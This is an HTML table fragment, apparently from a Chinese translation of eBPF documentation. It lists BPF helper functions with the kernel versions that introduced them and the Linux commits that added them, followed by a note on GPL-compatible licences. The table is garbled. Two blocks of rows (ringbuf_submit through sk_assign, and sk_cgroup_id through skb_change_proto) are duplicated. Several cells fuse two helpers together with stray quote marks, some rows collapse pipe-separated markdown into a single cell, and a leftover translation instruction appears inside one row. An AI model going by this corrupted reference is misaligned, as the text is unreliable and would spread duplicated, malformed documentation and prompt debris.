<tr><td><code>BPF_FUNC_ringbuf_submit()</code></td><td>5.8</td><td></td><td><a href="https://github.com/torvalds/linux/commit/457f44363a8894135c85b7a9afd2bd8196db24ab"><code>457f44363a88</code></a></td></tr>
<tr><td><code>BPF_FUNC_ringbuf_submit_dynptr()</code></td><td>5.19</td><td></td><td><a href="https://github.com/torvalds/linux/commit/bc34dee65a65e9c920c420005b8a43f2a721a458"><code>bc34dee65a65</code></a></td></tr>
<tr><td><code>BPF_FUNC_send_signal()</code></td><td>5.3</td><td></td><td><a href="https://github.com/torvalds/linux/commit/8b401f9ed2441ad9e219953927a842d24ed051fc"><code>8b401f9ed244</code></a></td></tr>
<tr><td><code>BPF_FUNC_send_signal_thread()</code></td><td>5.5</td><td></td><td><a href="https://github.com/torvalds/linux/commit/8482941f09067da42f9c3362e15bfb3f3c19d610"><code>8482941f0906</code></a></td></tr>
<tr><td><code>BPF_FUNC_seq_printf()</code></td><td>5.7</td><td>GPL</td><td><a href="https://github.com/torvalds/linux/commit/492e639f0c222784e2e0f121966375f641c61b15"><code>492e639f0c22</code></a></td></tr>
<tr><td><code>BPF_FUNC_seq_printf_btf()</code></td><td>5.10</td><td></td><td><a href="https://github.com/torvalds/linux/commit/eb411377aed9e27835e77ee0710ee8f4649958f3"><code>eb411377aed9</code></a></td></tr>
<tr><td><code>BPF_FUNC_seq_write()</code></td><td>5.7</td><td>GPL</td><td><a href="https://github.com/torvalds/linux/commit/492e639f0c222784e2e0f121966375f641c61b15"><code>492e639f0c22</code></a></td></tr>
<tr><td><code>BPF_FUNC_set_hash()</code></td><td>4.13</td><td></td><td><a href="https://github.com/torvalds/linux/commit/ded092cd73c2c56a394b936f86897f29b2e131c0"><code>ded092cd73c2</code></a></td></tr>
<tr><td><code>BPF_FUNC_set_hash_invalid()</code></td><td>4.9</td><td></td><td><a href="https://github.com/torvalds/linux/commit/7a4b28c6cc9ffac50f791b99cc7e46106436e5d8"><code>7a4b28c6cc9f</code></a></td></tr>
<tr><td><code>BPF_FUNC_set_retval()</code></td><td>5.18</td><td></td><td><a href="https://github.com/torvalds/linux/commit/b44123b4a3dcad4664d3a0f72c011ffd4c9c4d93"><code>b44123b4a3dc</code></a></td></tr>
<tr><td><code>BPF_FUNC_setsockopt()</code></td><td>4.13</td><td></td><td><a href="https://github.com/torvalds/linux/commit/8c4b4c7e9ff0447995750d9329949fa082520269"><code>8c4b4c7e9ff0</code></a></td></tr>
<tr><td><code>BPF_FUNC_sk_ancestor_cgroup_id()</code></td><td>5.7</td><td></td><td><a href="https://github.com/torvalds/linux/commit/f307fa2cb4c935f7f1ff0aeb880c7b44fb9a642b"><code>f307fa2cb4c9</code></a></td></tr>
<tr><td><code>BPF_FUNC_sk_assign()</code></td><td>5.6</td><td></td><td><a href="https://github.com/torvalds/linux/commit/cf7fbe660f2dbd738ab58aea8e9b0ca6ad232449"><code>cf7fbe660f2d</code></a></td></tr>
<tr><td><code>BPF_FUNC_ringbuf_reserve_dynptr()</code></td><td>5.19</td><td></td><td><a href="https://github.com/torvalds/linux/commit/bc34dee65a65e9c920c420005b8a43f2a721a458"><code>bc34dee65a65</code></a></td></tr>
<tr><td><code>BPF_FUNC_ringbuf_submit()</code></td><td>5.8</td><td></td><td><a href="https://github.com/torvalds/linux/commit/457f44363a8894135c85b7a9afd2bd8196db24ab"><code>457f44363a88</code></a></td></tr>
<tr><td><code>BPF_FUNC_ringbuf_submit_dynptr()</code></td><td>5.19</td><td></td><td><a href="https://github.com/torvalds/linux/commit/bc34dee65a65e9c920c420005b8a43f2a721a458"><code>bc34dee65a65</code></a></td></tr>
<tr><td><code>BPF_FUNC_send_signal()</code></td><td>5.3</td><td></td><td><a href="https://github.com/torvalds/linux/commit/8b401f9ed2441ad9e219953927a842d24ed051fc"><code>8b401f9ed244</code></a></td></tr>
<tr><td><code>BPF_FUNC_send_signal_thread()</code></td><td>5.5</td><td></td><td><a href="https://github.com/torvalds/linux/commit/8482941f09067da42f9c3362e15bfb3f3c19d610"><code>8482941f0906</code></a></td></tr>
<tr><td><code>BPF_FUNC_seq_printf()</code></td><td>5.7</td><td>GPL</td><td><a href="https://github.com/torvalds/linux/commit/492e639f0c222784e2e0f121966375f641c61b15"><code>492e639f0c22</code></a></td></tr>
<tr><td><code>BPF_FUNC_seq_printf_btf()</code></td><td>5.10</td><td></td><td><a href="https://github.com/torvalds/linux/commit/eb411377aed9e27835e77ee0710ee8f4649958f3"><code>eb411377aed9</code></a></td></tr>
<tr><td><code>BPF_FUNC_seq_write()</code></td><td>5.7</td><td>GPL</td><td><a href="https://github.com/torvalds/linux/commit/492e639f0c222784e2e0f121966375f641c61b15"><code>492e639f0c22</code></a></td></tr>
<tr><td><code>BPF_FUNC_set_hash()</code></td><td>4.13</td><td></td><td><a href="https://github.com/torvalds/linux/commit/ded092cd73c2c56a394b936f86897f29b2e131c0"><code>ded092cd73c2</code></a></td></tr>
<tr><td><code>BPF_FUNC_set_hash_invalid()</code></td><td>4.9</td><td></td><td><a href="https://github.com/torvalds/linux/commit/7a4b28c6cc9ffac50f791b99cc7e46106436e5d8"><code>7a4b28c6cc9f</code></a></td></tr>
<tr><td><code>BPF_FUNC_set_retval()</code></td><td>5.18</td><td></td><td><a href="https://github.com/torvalds/linux/commit/b44123b4a3dcad4664d3a0f72c011ffd4c9c4d93"><code>b44123b4a3dc</code></a></td></tr>
<tr><td><code>BPF_FUNC_setsockopt()</code></td><td>4.13</td><td></td><td><a href="https://github.com/torvalds/linux/commit/8c4b4c7e9ff0447995750d9329949fa082520269"><code>8c4b4c7e9ff0</code></a></td></tr>
<tr><td><code>BPF_FUNC_sk_ancestor_cgroup_id()</code></td><td>5.7</td><td></td><td><a href="https://github.com/torvalds/linux/commit/f307fa2cb4c935f7f1ff0aeb880c7b44fb9a642b"><code>f307fa2cb4c9</code></a></td></tr>
<tr><td><code>BPF_FUNC_sk_assign()</code></td><td>5.6</td><td></td><td><a href="https://github.com/torvalds/linux/commit/cf7fbe660f2dbd738ab58aea8e9b0ca6ad232449"><code>cf7fbe660f2d</code></a>&quot;.&quot;<code>BPF_FUNC_sk_cgroup_id()</code></td></tr>
<tr><td><code>BPF_FUNC_sk_fullsock()</code></td><td>5.1</td><td></td><td><a href="https://github.com/torvalds/linux/commit/46f8bc92758c6259bcf945e9216098661c1587cd"><code>46f8bc92758c</code></a></td></tr>
<tr><td><code>BPF_FUNC_sk_lookup_tcp()</code></td><td>4.20</td><td></td><td><a href="https://github.com/torvalds/linux/commit/6acc9b432e6714d72d7d77ec7c27f6f8358d0c71"><code>6acc9b432e67</code></a></td></tr>
<tr><td><code>BPF_FUNC_sk_lookup_udp()</code></td><td>4.20</td><td></td><td><a href="https://github.com/torvalds/linux/commit/6acc9b432e6714d72d7d77ec7c27f6f8358d0c71"><code>6acc9b432e67</code></a></td></tr>
<tr><td><code>BPF_FUNC_sk_redirect_hash()</code></td><td>4.18</td><td></td><td><a href="https://github.com/torvalds/linux/commit/81110384441a59cff47430f20f049e69b98c17f4"><code>81110384441a</code></a></td></tr>
<tr><td><code>BPF_FUNC_sk_redirect_map()</code></td><td>4.14</td><td></td><td><a href="https://github.com/torvalds/linux/commit/174a79ff9515f400b9a6115643dafd62a635b7e6"><code>174a79ff9515</code></a></td></tr>
<tr><td><code>BPF_FUNC_sk_release()</code></td><td>4.20</td><td></td><td><a href="https://github.com/torvalds/linux/commit/6acc9b432e6714d72d7d77ec7c27f6f8358d0c71"><code>6acc9b432e67</code></a></td></tr>
<tr><td><code>BPF_FUNC_sk_select_reuseport()</code></td><td>4.19</td><td></td><td><a href="https://github.com/torvalds/linux/commit/2dbb9b9e6df67d444fbe425c7f6014858d337adf"><code>2dbb9b9e6df6</code></a></td></tr>
<tr><td><code>BPF_FUNC_sk_storage_delete()</code></td><td>5.2</td><td></td><td><a href="https://github.com/torvalds/linux/commit/6ac99e8f23d4b10258406ca0dd7bffca5f31da9d"><code>6ac99e8f23d4</code></a></td></tr>
<tr><td><code>BPF_FUNC_sk_storage_get()</code></td><td>5.2</td><td></td><td><a href="https://github.com/torvalds/linux/commit/6ac99e8f23d4b10258406ca0dd7bffca5f31da9d"><code>6ac99e8f23d4</code></a></td></tr>
<tr><td><code>BPF_FUNC_skb_adjust_room()</code></td><td>4.13</td><td></td><td><a href="https://github.com/torvalds/linux/commit/2be7e212d5419a400d051c84ca9fdd083e5aacac"><code>2be7e212d541</code></a></td></tr>
<tr><td><code>BPF_FUNC_skb_ancestor_cgroup_id()</code></td><td>4.19</td><td></td><td><a href="https://github.com/torvalds/linux/commit/7723628101aaeb1d723786747529b4ea65c5b5c5"><code>7723628101aa</code></a></td></tr>
<tr><td><code>BPF_FUNC_skb_change_head()</code></td><td>4.10</td><td></td><td><a href="https://github.com/torvalds/linux/commit/3a0af8fd61f90920f6fa04e4f1e9a6a73c1b4fd2"><code>3a0af8fd61f9</code></a></td></tr>
<tr><td><code>BPF_FUNC_skb_change_proto()</code></td><td>4.8</td><td></td><td><a href="https://github.com/torvalds/linux/commit/6578171a7ff0c31dc73258f93da7407510abf085"><code>6578171a7ff0</code></a></td></tr>
<tr><td><code>BPF_FUNC_sk_cgroup_id()</code></td><td>5.7</td><td></td><td><a href="https://github.com/torvalds/linux/commit/f307fa2cb4c935f7f1ff0aeb880c7b44fb9a642b"><code>f307fa2cb4c9</code></a></td></tr>
<tr><td><code>BPF_FUNC_sk_fullsock()</code></td><td>5.1</td><td></td><td><a href="https://github.com/torvalds/linux/commit/46f8bc92758c6259bcf945e9216098661c1587cd"><code>46f8bc92758c</code></a></td></tr>
<tr><td><code>BPF_FUNC_sk_lookup_tcp()</code></td><td>4.20</td><td></td><td><a href="https://github.com/torvalds/linux/commit/6acc9b432e6714d72d7d77ec7c27f6f8358d0c71"><code>6acc9b432e67</code></a></td></tr>
<tr><td><code>BPF_FUNC_sk_lookup_udp()</code></td><td>4.20</td><td></td><td><a href="https://github.com/torvalds/linux/commit/6acc9b432e6714d72d7d77ec7c27f6f8358d0c71"><code>6acc9b432e67</code></a></td></tr>
<tr><td><code>BPF_FUNC_sk_redirect_hash()</code></td><td>4.18</td><td></td><td><a href="https://github.com/torvalds/linux/commit/81110384441a59cff47430f20f049e69b98c17f4"><code>81110384441a</code></a></td></tr>
<tr><td><code>BPF_FUNC_sk_redirect_map()</code></td><td>4.14</td><td></td><td><a href="https://github.com/torvalds/linux/commit/174a79ff9515f400b9a6115643dafd62a635b7e6"><code>174a79ff9515</code></a></td></tr>
<tr><td><code>BPF_FUNC_sk_release()</code></td><td>4.20</td><td></td><td><a href="https://github.com/torvalds/linux/commit/6acc9b432e6714d72d7d77ec7c27f6f8358d0c71"><code>6acc9b432e67</code></a></td></tr>
<tr><td><code>BPF_FUNC_sk_select_reuseport()</code></td><td>4.19</td><td></td><td><a href="https://github.com/torvalds/linux/commit/2dbb9b9e6df67d444fbe425c7f6014858d337adf"><code>2dbb9b9e6df6</code></a></td></tr>
<tr><td><code>BPF_FUNC_sk_storage_delete()</code></td><td>5.2</td><td></td><td><a href="https://github.com/torvalds/linux/commit/6ac99e8f23d4b10258406ca0dd7bffca5f31da9d"><code>6ac99e8f23d4</code></a></td></tr>
<tr><td><code>BPF_FUNC_sk_storage_get()</code></td><td>5.2</td><td></td><td><a href="https://github.com/torvalds/linux/commit/6ac99e8f23d4b10258406ca0dd7bffca5f31da9d"><code>6ac99e8f23d4</code></a></td></tr>
<tr><td><code>BPF_FUNC_skb_adjust_room()</code></td><td>4.13</td><td></td><td><a href="https://github.com/torvalds/linux/commit/2be7e212d5419a400d051c84ca9fdd083e5aacac"><code>2be7e212d541</code></a></td></tr>
<tr><td><code>BPF_FUNC_skb_ancestor_cgroup_id()</code></td><td>4.19</td><td></td><td><a href="https://github.com/torvalds/linux/commit/7723628101aaeb1d723786747529b4ea65c5b5c5"><code>7723628101aa</code></a></td></tr>
<tr><td><code>BPF_FUNC_skb_change_head()</code></td><td>4.10</td><td></td><td><a href="https://github.com/torvalds/linux/commit/3a0af8fd61f90920f6fa04e4f1e9a6a73c1b4fd2"><code>3a0af8fd61f9</code></a></td></tr>
<tr><td><code>BPF_FUNC_skb_change_proto()</code></td><td>4.8</td><td></td><td><a href="https://github.com/torvalds/linux/commit/6578171a7ff0c31dc73258f93da7407510abf085"><code>6578171a7ff0</code></a><code>&quot;</code>BPF_FUNC_skb_change_tail()`</td></tr>
<tr><td><code>BPF_FUNC_skb_change_type()</code></td><td>4.8</td><td></td><td><a href="https://github.com/torvalds/linux/commit/d2485c4242a826fdf493fd3a27b8b792965b9b9e"><code>d2485c4242a8</code></a></td></tr>
<tr><td><code>BPF_FUNC_skb_cgroup_classid()</code></td><td>5.10</td><td></td><td><a href="https://github.com/torvalds/linux/commit/b426ce83baa7dff947fb354118d3133f2953aac8"><code>b426ce83baa7</code></a></td></tr>
<tr><td><code>BPF_FUNC_skb_cgroup_id()</code></td><td>4.18</td><td></td><td><a href="https://github.com/torvalds/linux/commit/cb20b08ead401fd17627a36f035c0bf5bfee5567"><code>cb20b08ead40</code></a></td></tr>
<tr><td><code>BPF_FUNC_skb_ecn_set_ce()</code></td><td>5.1</td><td></td><td><a href="https://github.com/torvalds/linux/commit/f7c917ba11a67632a8452ea99fe132f626a7a2cc"><code>f7c917ba11a6</code></a></td></tr>
<tr><td><code>BPF_FUNC_skb_get_tunnel_key()</code></td><td>4.3</td><td></td><td><a href="https://github.com/torvalds/linux/commit/d3aa45ce6b94c65b83971257317867db13e5f492"><code>d3aa45ce6b94</code></a></td></tr>
<tr><td><code>BPF_FUNC_skb_get_tunnel_opt()</code></td><td>4.6</td><td></td><td><a href="https://github.com/torvalds/linux/commit/14ca0751c96f8d3d0f52e8ed3b3236f8b34d3460"><code>14ca0751c96f</code></a></td></tr>
<tr><td><code>BPF_FUNC_skb_get_xfrm_state()</code></td><td>4.18</td><td></td><td><a href="https://github.com/torvalds/linux/commit/12bed760a78da6e12ac8252fec64d019a9eac523"><code>12bed760a78d</code></a></td></tr>
<tr><td><code>BPF_FUNC_skb_load_bytes()</code></td><td>4.5</td><td></td><td><a href="https://github.com/torvalds/linux/commit/05c74e5e53f6cb07502c3e6a820f33e2777b6605"><code>05c74e5e53f6</code></a></td></tr>
<tr><td><code>BPF_FUNC_skb_load_bytes_relative()</code></td><td>4.18</td><td></td><td><a href="https://github.com/torvalds/linux/commit/4e1ec56cdc59746943b2acfab3c171b930187bbe"><code>4e1ec56cdc59</code></a></td></tr>
<tr><td><code>BPF_FUNC_skb_output()</code></td><td>5.5</td><td></td><td><a href="https://github.com/torvalds/linux/commit/a7658e1a4164ce2b9eb4a11aadbba38586e93bd6"><code>a7658e1a4164</code></a></td></tr>
<tr><td><code>BPF_FUNC_skb_pull_data()</code></td><td>4.9</td><td></td><td><a href="https://github.com/torvalds/linux/commit/36bbef52c7eb646ed6247055a2acd3851e317857"><code>36bbef52c7eb</code></a></td></tr>
<tr><td><code>BPF_FUNC_skb_set_tstamp()</code></td><td>5.18</td><td></td><td><a href="https://github.com/torvalds/linux/commit/9bb984f28d5bcb917d35d930fcfb89f90f9449fd"><code>9bb984f28d5b</code></a></td></tr>
<tr><td><code>BPF_FUNC_skb_set_tunnel_key()</code></td><td>4.3</td><td></td><td><a href="https://github.com/torvalds/linux/commit/d3aa45ce6b94c65b83971257317867db13e5f492"><code>d3aa45ce6b94</code></a></td></tr>
<tr><td><code>BPF_FUNC_skb_set_tunnel_opt()</code></td><td>4.6</td><td></td><td><a href="https://github.com/torvalds/linux/commit/14ca0751c96f8d3d0f52e8ed3b3236f8b34d3460"><code>14ca0751c96f</code></a></td></tr>
<tr><td><code>BPF_FUNC_skb_store_bytes()</code></td><td>4.1</td><td></td><td><a href="https://github.com/torvalds/linux/commit/91bc4822c3d61b9bb7ef66d3b77948a4f9177954"><code>91bc4822c3d6</code></a></td></tr>
<tr><td><code>BPF_FUNC_skb_under_cgroup()</code></td><td>4.8</td><td></td><td><a href="https://github.com/torvalds/linux/commit/4a482f34afcc162d8456f449b137ec2a95be60d8"><code>4a482f34afcc</code></a></td></tr>
<tr><td><code>BPF_FUNC_skb_vlan_pop()</code></td><td>4.3</td><td></td><td><a href="https://github.com/torvalds/linux/commit/4e10df9a60d96ced321dd2af71da558c6b750078"><code>4e10df9a60d9</code></a></td></tr>
<tr><td><code>BPF_FUNC_skb_vlan_push()</code></td><td>4.3</td><td></td><td><a href="https://github.com/torvalds/linux/commit/4e10df9a60d96ced321dd2af71da558c6b750078"><code>4e10df9a60d9</code></a></td></tr>
<tr><td><code>BPF_FUNC_skc_lookup_tcp()</code></td><td>5.2</td><td></td><td><a href="https://github.com/torvalds/linux/commit/edbf8c01de5a104a71ed6df2bf6421ceb2836a8e"><code>edbf8c01de5a</code></a></td></tr>
<tr><td><code>BPF_FUNC_skc_to_mctcp_sock()</code></td><td>5.19</td><td></td><td><a href="https://github.com/torvalds/linux/commit/3bc253c2e652cf5f12cd8c00d80d8ec55d67d1a7"><code>3bc253c2e652</code></a></td></tr>
<tr><td><code>BPF_FUNC_skc_to_tcp_sock()</code></td><td>5.9</td><td></td><td><a href="https://github.com/torvalds/linux/commit/478cfbdf5f13dfe09cfd0b1cbac821f5e27f6108"><code>478cfbdf5f13</code></a></td></tr>
<tr><td><code>BPF_FUNC_skc_to_tcp_request_sock()</code></td><td>5.9</td><td></td><td><a href="https://github.com/torvalds/linux/commit/478cfbdf5f13dfe09cfd0b1cbac821f5e27f6108"><code>478cfbdf5f13</code></a></td></tr>
<tr><td><code>BPF_FUNC_skc_to_tcp_timewait_sock()</code></td><td>5.9</td><td></td><td><a href="https://github.com/torvalds/linux/commit/478cfbdf5f13dfe09cfd0b1cbac821f5e27f6108"><code>478cfbdf5f13</code></a></td></tr>
<tr><td><code>BPF_FUNC_skc_to_tcp6_sock()</code></td><td>5.9</td><td></td><td><a href="https://github.com/torvalds/linux/commit/af7ec13833619e17f03aa73a785a2f871da6d66b"><code>af7ec1383361</code></a></td></tr>
<tr><td><code>BPF_FUNC_skc_to_udp6_sock()</code></td><td>5.9</td><td></td><td><a href="https://github.com/torvalds/linux/commit/0d4fad3e57df2bf61e8ffc8d12a34b1caf9b8835"><code>0d4fad3e57df</code></a></td></tr>
<tr><td><code>BPF_FUNC_skc_to_unix_sock()</code></td><td>5.16</td><td></td><td><a href="https://github.com/torvalds/linux/commit/9eeb3aa33ae005526f672b394c1791578463513f"><code>9eeb3aa33ae0</code></a></td></tr>
<tr><td><code>BPF_FUNC_snprintf()</code></td><td>5.13</td><td></td><td><a href="https://github.com/torvalds/linux/commit/7b15523a989b63927c2bb08e9b5b0bbc10b58bef"><code>7b15523a989b</code></a>&quot;.&quot;<code>BPF_FUNC_snprintf_btf()</code></td></tr>
<tr><td><code>BPF_FUNC_sock_from_file()</code></td><td>5.11</td><td></td><td><a href="https://github.com/torvalds/linux/commit/4f19cab76136e800a3f04d8c9aa4d8e770e3d3d8"><code>4f19cab76136</code></a></td></tr>
<tr><td><code>BPF_FUNC_sock_hash_update()</code></td><td>4.18</td><td></td><td><a href="https://github.com/torvalds/linux/commit/81110384441a59cff47430f20f049e69b98c17f4"><code>81110384441a</code></a></td></tr>
<tr><td><code>BPF_FUNC_sock_map_update()</code></td><td>4.14</td><td></td><td><a href="https://github.com/torvalds/linux/commit/174a79ff9515f400b9a6115643dafd62a635b7e6"><code>174a79ff9515</code></a></td></tr>
<tr><td><code>BPF_FUNC_spin_lock()</code></td><td>5.1</td><td></td><td><a href="https://github.com/torvalds/linux/commit/d83525ca62cf8ebe3271d14c36fb900c294274a2"><code>d83525ca62cf</code></a></td></tr>
<tr><td><code>BPF_FUNC_spin_unlock()</code></td><td>5.1</td><td></td><td><a href="https://github.com/torvalds/linux/commit/d83525ca62cf8ebe3271d14c36fb900c294274a2"><code>d83525ca62cf</code></a></td></tr>
<tr><td><code>BPF_FUNC_store_hdr_opt()</code></td><td>5.10</td><td></td><td><a href="https://github.com/torvalds/linux/commit/0813a841566f0962a5551be7749b43c45f0022a0"><code>0813a841566f</code></a></td></tr>
<tr><td><code>BPF_FUNC_strncmp()</code></td><td>5.17</td><td></td><td><a href="https://github.com/torvalds/linux/commit/c5fb19937455095573a19ddcbff32e993ed10e35"><code>c5fb19937455</code></a></td></tr>
<tr><td><code>BPF_FUNC_strtol()</code></td><td>5.2</td><td></td><td><a href="https://github.com/torvalds/linux/commit/d7a4cb9b6705a89937d12c8158a35a3145dc967a"><code>d7a4cb9b6705</code></a></td></tr>
<tr><td><code>BPF_FUNC_strtoul()</code></td><td>5.2</td><td></td><td><a href="https://github.com/torvalds/linux/commit/d7a4cb9b6705a89937d12c8158a35a3145dc967a"><code>d7a4cb9b6705</code></a></td></tr>
<tr><td><code>BPF_FUNC_sys_bpf()</code></td><td>5.14</td><td></td><td><a href="https://github.com/torvalds/linux/commit/79a7f8bdb159d9914b58740f3d31d602a6e4aca8"><code>79a7f8bdb159</code></a></td></tr>
<tr><td><code>BPF_FUNC_sys_close()</code></td><td>5.14</td><td></td><td><a href="https://github.com/torvalds/linux/commit/3abea089246f76c1517b054ddb5946f3f1dbd2c0"><code>3abea089246f</code></a></td></tr>
<tr><td><code>BPF_FUNC_sysctl_get_current_value()</code></td><td>5.2</td><td></td><td><a href="https://github.com/torvalds/linux/commit/1d11b3016cec4ed9770b98e82a61708c8f4926e7"><code>1d11b3016cec</code></a></td></tr>
<tr><td><code>BPF_FUNC_sysctl_get_name()</code></td><td>5.2</td><td></td><td><a href="https://github.com/torvalds/linux/commit/808649fb787d918a48a360a668ee4ee9023f0c11"><code>808649fb787d</code></a>&quot;.</td></tr>
<tr><td>格式:只返回翻译后的内容,不包括原文。<code>BPF_FUNC_sysctl_get_new_value()</code>| 5.2| | <a href="https://github.com/torvalds/linux/commit/4e63acdff864654cee0ac5aaeda3913798ee78f6"><code>4e63acdff864</code></a></td><td></td><td></td><td></td></tr>
<tr><td><code>BPF_FUNC_sysctl_set_new_value()</code>|5.2| | <a href="https://github.com/torvalds/linux/commit/4e63acdff864654cee0ac5aaeda3913798ee78f6"><code>4e63acdff864</code></a></td><td></td><td></td><td></td></tr>
<tr><td><code>BPF_FUNC_tail_call()</code>|4.2| | <a href="https://github.com/torvalds/linux/commit/04fd61ab36ec065e194ab5e74ae34a5240d992bb"><code>04fd61ab36ec</code></a></td><td></td><td></td><td></td></tr>
<tr><td><code>BPF_FUNC_task_pt_regs()</code>|5.15| GPL | <a href="https://github.com/torvalds/linux/commit/dd6e10fbd9fb86a571d925602c8a24bb4d09a2a7"><code>dd6e10fbd9f</code></a></td><td></td><td></td><td></td></tr>
<tr><td><code>BPF_FUNC_task_storage_delete()</code>|5.11| | <a href="https://github.com/torvalds/linux/commit/4cf1bc1f10452065a29d576fc5693fc4fab5b919"><code>4cf1bc1f1045</code></a></td><td></td><td></td><td></td></tr>
<tr><td><code>BPF_FUNC_task_storage_get()</code>|5.11| | <a href="https://github.com/torvalds/linux/commit/4cf1bc1f10452065a29d576fc5693fc4fab5b919"><code>4cf1bc1f1045</code></a></td><td></td><td></td><td></td></tr>
<tr><td><code>BPF_FUNC_tcp_check_syncookie()</code>|5.2| | <a href="https://github.com/torvalds/linux/commit/399040847084a69f345e0a52fd62f04654e0fce3"><code>399040847084</code></a></td><td></td><td></td><td></td></tr>
<tr><td><code>BPF_FUNC_tcp_gen_syncookie()</code>|5.3| | <a href="https://github.com/torvalds/linux/commit/70d66244317e958092e9c971b08dd5b7fd29d9cb#diff-05da4bf36c7fbcd176254e1615d98b28"><code>70d66244317e</code></a></td><td></td><td></td><td></td></tr>
<tr><td><code>BPF_FUNC_tcp_raw_check_syncookie_ipv4()</code>|6.0| | <a href="https://github.com/torvalds/linux/commit/33bf9885040c399cf6a95bd33216644126728e14"><code>33bf9885040c</code></a></td><td></td><td></td><td></td></tr>
<tr><td><code>BPF_FUNC_tcp_raw_check_syncookie_ipv6()</code>|6.0| | <a href="https://github.com/torvalds/linux/commit/33bf9885040c399cf6a95bd33216644126728e14"><code>33bf9885040c</code></a></td><td></td><td></td><td></td></tr>
<tr><td><code>BPF_FUNC_tcp_raw_gen_syncookie_ipv4()</code>|6.0| | <a href="https://github.com/torvalds/linux/commit/33bf9885040c399cf6a95bd33216644126728e14"><code>33bf9885040c</code></a></td><td></td><td></td><td></td></tr>
<tr><td><code>BPF_FUNC_tcp_raw_gen_syncookie_ipv6()</code>|6.0| | <a href="https://github.com/torvalds/linux/commit/33bf9885040c399cf6a95bd33216644126728e14"><code>33bf9885040c</code></a></td><td></td><td></td><td></td></tr>
<tr><td><code>BPF_FUNC_tcp_send_ack()</code>|5.5 | | <a href="https://github.com/torvalds/linux/commit/206057fe020ac5c037d5e2dd6562a9bd216ec765"><code>206057fe020a</code></a><code>BPF_FUNC_tcp_sock()</code></td><td>5.1</td><td></td><td><a href="https://github.com/torvalds/linux/commit/655a51e536c09d15ffa3603b1b6fce2b45b85a1f"><code>655a51e536c0</code></a></td></tr>
<tr><td><code>BPF_FUNC_this_cpu_ptr()</code></td><td>5.10</td><td></td><td><a href="https://github.com/torvalds/linux/commit/63d9b80dcf2c67bc5ade61cbbaa09d7af21f43f1"><code>63d9b80dcf2c</code></a></td></tr>
<tr><td><code>BPF_FUNC_timer_init()</code></td><td>5.15</td><td></td><td><a href="https://github.com/torvalds/linux/commit/b00628b1c7d595ae5b544e059c27b1f5828314b4"><code>b00628b1c7d5</code></a></td></tr>
<tr><td><code>BPF_FUNC_timer_set_callback()</code></td><td>5.15</td><td></td><td><a href="https://github.com/torvalds/linux/commit/b00628b1c7d595ae5b544e059c27b1f5828314b4"><code>b00628b1c7d5</code></a></td></tr>
<tr><td><code>BPF_FUNC_timer_start()</code></td><td>5.15</td><td></td><td><a href="https://github.com/torvalds/linux/commit/b00628b1c7d595ae5b544e059c27b1f5828314b4"><code>b00628b1c7d5</code></a></td></tr>
<tr><td><code>BPF_FUNC_timer_cancel()</code></td><td>5.15</td><td></td><td><a href="https://github.com/torvalds/linux/commit/b00628b1c7d595ae5b544e059c27b1f5828314b4"><code>b00628b1c7d5</code></a></td></tr>
<tr><td><code>BPF_FUNC_trace_printk()</code></td><td>4.1</td><td>GPL</td><td><a href="https://github.com/torvalds/linux/commit/9c959c863f8217a2ff3d7c296e8223654d240569"><code>9c959c863f82</code></a></td></tr>
<tr><td><code>BPF_FUNC_trace_vprintk()</code></td><td>5.16</td><td>GPL</td><td><a href="https://github.com/torvalds/linux/commit/10aceb629e198429c849d5e995c3bb1ba7a9aaa3"><code>10aceb629e19</code></a></td></tr>
<tr><td><code>BPF_FUNC_user_ringbuf_drain()</code></td><td>6.1</td><td></td><td><a href="https://github.com/torvalds/linux/commit/20571567384428dfc9fe5cf9f2e942e1df13c2dd"><code>205715673844</code></a></td></tr>
<tr><td><code>BPF_FUNC_xdp_adjust_head()</code></td><td>4.10</td><td></td><td><a href="https://github.com/torvalds/linux/commit/17bedab2723145d17b14084430743549e6943d03"><code>17bedab27231</code></a></td></tr>
<tr><td><code>BPF_FUNC_xdp_adjust_meta()</code></td><td>4.15</td><td></td><td><a href="https://github.com/torvalds/linux/commit/de8f3a83b0a0fddb2cf56e7a718127e9619ea3da"><code>de8f3a83b0a0</code></a></td></tr>
<tr><td><code>BPF_FUNC_xdp_adjust_tail()</code></td><td>4.18</td><td></td><td><a href="https://github.com/torvalds/linux/commit/b32cc5b9a346319c171e3ad905e0cddda032b5eb"><code>b32cc5b9a346</code></a></td></tr>
<tr><td><code>BPF_FUNC_xdp_get_buff_len()</code></td><td>5.18</td><td></td><td><a href="https://github.com/torvalds/linux/commit/0165cc817075cf701e4289838f1d925ff1911b3e"><code>0165cc817075</code></a></td></tr>
<tr><td><code>BPF_FUNC_xdp_load_bytes()</code></td><td>5.18</td><td></td><td><a href="https://github.com/torvalds/linux/commit/3f364222d032eea6b245780e845ad213dab28cdd"><code>3f364222d032</code></a>&quot;<code>BPF_FUNC_xdp_store_bytes()</code></td></tr>
<tr><td><code>BPF_FUNC_xdp_output()</code></td><td>5.6</td><td>GPL</td><td><a href="https://github.com/torvalds/linux/commit/d831ee84bfc9173eecf30dbbc2553ae81b996c60"><code>d831ee84bfc9</code></a></td></tr>
<tr><td><code>BPF_FUNC_override_return()</code></td><td>4.16</td><td>GPL</td><td><a href="https://github.com/torvalds/linux/commit/9802d86585db91655c7d1929a4f6bbe0952ea88e"><code>9802d86585db</code></a></td></tr>
<tr><td><code>BPF_FUNC_sock_ops_cb_flags_set()</code></td><td>4.16</td><td></td><td><a href="https://github.com/torvalds/linux/commit/b13d880721729384757f235166068c315326f4a1"><code>b13d88072172</code></a></td></tr>
</tbody></table>
</div>
<p>仅GPL兼容的BPF助手需要GPL兼容的许可证。内核所认可的当前GPL兼容许可证有</p>
<ul>
<li>GPL</li>
<li>GPL v2</li>
<li>GPL和其他权利</li>
<li>双BSD/GPL</li>
<li>双MIT/GPL</li>
<li>双MPL/GPL</li>
</ul>
<p>在您的<a href="https://github.com/torvalds/linux/blob/master/include/linux/license.h">内核源代码</a>中查看GPL兼容许可证的列表。</p>
<h2 id="程序类型-1"><a class="header" href="#程序类型-1">程序类型</a></h2>
<p>可以使用以下命令获取程序类型和支持的辅助函数列表:</p>
<pre><code class="language-sh">git grep -W 'func_proto(enum bpf_func_id func_id' kernel/ net/ drivers/
</code></pre>
<div class="table-wrapper"><table><thead><tr><th>程序类型</th><th>辅助函数</th></tr></thead><tbody>
